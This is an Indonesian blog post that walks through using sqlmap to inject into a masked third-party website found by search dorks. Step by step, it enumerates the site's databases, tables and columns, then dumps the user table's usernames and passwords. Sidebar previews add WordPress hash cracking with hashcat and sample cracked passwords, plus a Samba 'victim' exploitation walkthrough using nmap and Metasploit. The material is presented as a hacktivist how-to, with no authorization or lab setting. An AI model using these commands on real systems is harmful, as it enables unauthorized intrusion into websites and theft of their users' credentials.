Introduction SQLMAP web injection Takeover

-
Sqlmap salah satu tools yg di sukai oleh para hacktivist dalam melakukan injeksi web, mendapatkan database serta menemukan password dan username dari sebuah website, namun ada hal yang harus di perhatikan, sqlmap sendiri banyak yang bisa kita lakukan dengan command2 yang tersedia, namun disini saya hanya berbagi sedikit command dasarnya saja. untuk lebih jelasnya anda bisa mengunjungi situs resminya di sini

pastikan kita telah menemukan target dengan dork-dork yang kalian gunakan.

disini salah satu target yg akan saya jadikan contoh  ialah:

http://www.xxxxxxxx.com/about.php?id=1 

selanjutnya mari kita jalankan sqlmap, anda bisa menggunakan opsi (-h or --help) untuk mengetahui option2 yang sediakan.

# sqlmap --help



selanjutnya untuk melihat database website tersebut gunakan perintah sebagai berikut:
#sqlmap -u http://www.xxxxxxxx.com/about.php?id=1 --dbs

-u = target url
--dbs = Enumerate DBMS databases


terlihat bagian yang saya blok, kita telah mendapatkan database situs tersebut dengan nama unecuae_unec

selanjutnya kita masuk ke databes tersebut untuk melihat table-table yang ada dengan perintah:
#sqlmap -u http://www.xxxxxxxx.com/about.php?id=1 -D unecuae_unec --tables

-D = DBMS database to enumerate
--tables = Enumerate DBMS database tables


setelah menemukan beberapa table, selanjutnya kita lihat isi dari table user dengan perintah :

#sqlmap -u http://www.xxxxxxxx.com/about.php?id=1 -D unecuae_unec -T user --columns

-T = DBMS database table to enumerate
--columns = Enumerate DBMS database table columns


terlihat ada beberapa colomn yg berhasil kita temukan salah satunya columns yg kita cari yaitu password beserta username.

langkah selanjutnya melihat user_username serta user_password target kita dengan menggunakan perintah :
#sqlmap -u http://www.xxxxxxxx.com/about.php?id=1 -D unecuae_unec -T user -C user_username,user_password --dump


success, password beserta username berhasil kita dapatkan =))

regards
Hidemichi-Hiroyuki a.k.a [H2]

Comments

Post a Comment

Do Not Fuckin Spamming

Popular posts from this blog

Decrypt MD5 $Wordpress

-
Image
Hy, I'm back again. I will discuss how to Decrypt a password in the form the MD5 hash wordpress. here are some examples of hash md5 encryption wordpress will we Decrypt: HASH                                                                                  PASS $P$BDHjLCEroc8ujkcs8RZxOhcE80aV5h.           : th3sweety0ne  $P$BPXNfl3mZiO7PZc4XZqFFjX7TyP7Lh.           : Pabl0-saChez $P$BqilSln8PD9SBFuTx8KkaXz62aIIvV/             : m4rim4r123 $P$BnfObieGq5ygdt0OMgwbnKvFt8EFUs.          : Gh0stTrac3 $P$B.RwpJQV8ANOyl19RGHhCaYYgJyvQM1  : *12345*0a0b0c0d many of my friends are overwhelmed when decrypt wordpress md5 hash. so are they wasting their jobs because they could not solve this one password. Equipments: 1. Hashcat             ==> Decrypt Hash 2.  Rockyou.txt       ==> Wordlists 3. Hash-Identifier   ==> to see hash mode Here I use the Operating System Kali Linux. First Step : we see the  kind of hash we will Decrypt. to facilitate us in decryption
Read more

Exploit Samba "SmbClient"

-
Image
Such as FTP (File Transfer Protocol) samba include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on. in this case we have to get the victim to allow shared folders or files. Equipments : 1. SmbClient 2. Nmap 3. Metasploit The firstStep. scanning port the victim's ip-address using Nmap. in here that we need right port is port   445  microsoft-ds. # Nmap (Victim Ip-Address) seen in the picture above. I am lucky :) now, let us look the contents of the port # nmap -p445 --script=smb-os-discovery (Victim Ip-Address) --script=smb-os-discovery : Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139) . seen in the picture above, it turns out the victim we use Operating System Windows 7 Ultimate.  Computer Name And NetBIOS Name is a ANONYMOUS-PC. now,
Read more

Configure Pure-FTP on Kali Linux

-
Image
FTP or file transfer protocol is a protocol that allows you to transfer files to and from a remote machine. BackTrack has pure-FTPd installed by default. FTP operates on port 21. Contents : 1. Installasion 2. Configuration 3. Run Installation Pure-Ftpd # apt-get install pure-ftpd Installation Success =)) Configure Ftpd add new group: # groupadd ftpgroup add user: # useradd -g ftpgroup -d /dev/null -s /etc ftpuser -g =  name or ID of the primary group of the new account -d = home directory of the new account -s = login shell of the new account configure store a list of users: # pure-pw useradd myftp -u ftpuser -d /home/ftp/pub/myftp myftp = your ftp username please enter you password. configure puredb database file # pure-pw mkdb The next entry to the directory /etc/pure-ftpd/auth/ # cd /etc/pure-ftpd/auth then Create hard links by default: # ln -s ../conf/PureDB 60pdb then, make a directory /ftp # mkdir /home/ft
Read more